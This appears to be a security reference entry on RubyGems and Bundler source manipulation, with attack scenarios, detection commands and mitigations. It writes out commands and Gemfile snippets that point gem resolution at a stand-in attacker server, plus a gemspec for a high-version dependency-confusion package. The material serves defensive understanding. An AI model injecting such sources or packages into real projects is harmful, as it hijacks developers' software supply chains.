RubyGems Source Manipulation

gem Source Manipulation high Linux macOS Windows
RubyGems resolves packages from configurable source repositories, and its `gem sources` command can prepend or append a source. Bundler gives highest priority to a source explicitly attached to a gem, then to a parent dependency's source, and finally to the global source. Multiple global Bundler sources are prioritized from last to first and are deprecated. An attacker who can change source configuration or a Gemfile can therefore redirect package resolution to a server they control. [1][2]

Prerequisites

  • Write access to the victim's Gemfile, .gemrc, or ability to influence gem source configuration
  • A malicious gem server hosting a trojanized version of a target gem
  • For dependency confusion: knowledge of internal gem names used by the target organization
[1][2]

Attack Scenarios

Adding a Malicious Gem Source

An attacker with access to a developer's environment prepends a rogue gem source that hosts a matching package. A later RubyGems install can select a candidate from that configured source according to source order and version constraints.

[1][2]
Add a malicious gem source globally
gem sources --prepend https://evil-gems.attacker.example.com/
gem sources --list
# Output:
# *** CURRENT SOURCES ***
# https://evil-gems.attacker.example.com/
# https://rubygems.org/
Install a gem that resolves from the malicious source
# The prepended source offers a matching nokogiri candidate.
gem install nokogiri

Gemfile Multi-Source Dependency Confusion

An attacker modifies a project's Gemfile to add a second global source or explicitly bind a gem to a malicious source. Bundler warns about multiple global sources and prioritizes them last to first; an explicit source block directly assigns its listed gems to that source.

[1][2]
Gemfile with multiple sources (vulnerable pattern)
# Gemfile
source "https://rubygems.org"
source "https://evil-gems.attacker.example.com"

# These gems could resolve from EITHER source
gem "rails"
gem "internal-auth-lib"  # Internal gem name targeted for confusion
Attacker-injected explicit source binding
# Gemfile - source block pattern
source "https://rubygems.org"

# Attacker-injected source block
source "https://evil-gems.attacker.example.com" do
  gem "internal-auth-lib"
end
Attacker publishes a higher version of an internal gem
# On the attacker's gem server, publish:
Gem::Specification.new do |s|
  s.name    = "internal-auth-lib"
  s.version = "99.0.0"
  s.summary = "Authentication library"
  s.authors = ["attacker"]
  s.files   = ["lib/internal-auth-lib.rb"]
  # lib/internal-auth-lib.rb contains malicious code
end

Detection

Audit configured gem sources

List all globally configured gem sources to check for unexpected or untrusted repositories.

[1][2]
gem sources --list

Audit Gemfile for multiple sources

Review the project's Gemfile for multiple source declarations and ensure gems are pinned to specific sources using source blocks.

[1][2]
grep -n 'source ' Gemfile

Check resolved sources in Gemfile.lock

Inspect Gemfile.lock to verify which source each gem was resolved from.

[1][2]
grep -B1 'remote:' Gemfile.lock

Mitigation

  • Use only trusted gem sources and remove any unknown sources with gem sources --remove
  • Pin gems to specific sources using Bundler source blocks in the Gemfile
  • Use one global Bundler source and bind every additional trusted source to named gems with source blocks
  • For internal gems, use a private gem server and restrict resolution with source blocks
  • Regularly audit Gemfile.lock to verify gems were resolved from expected sources
  • Configure an internal gem proxy or source block so private names cannot fall back to an untrusted public source
[1][2]

References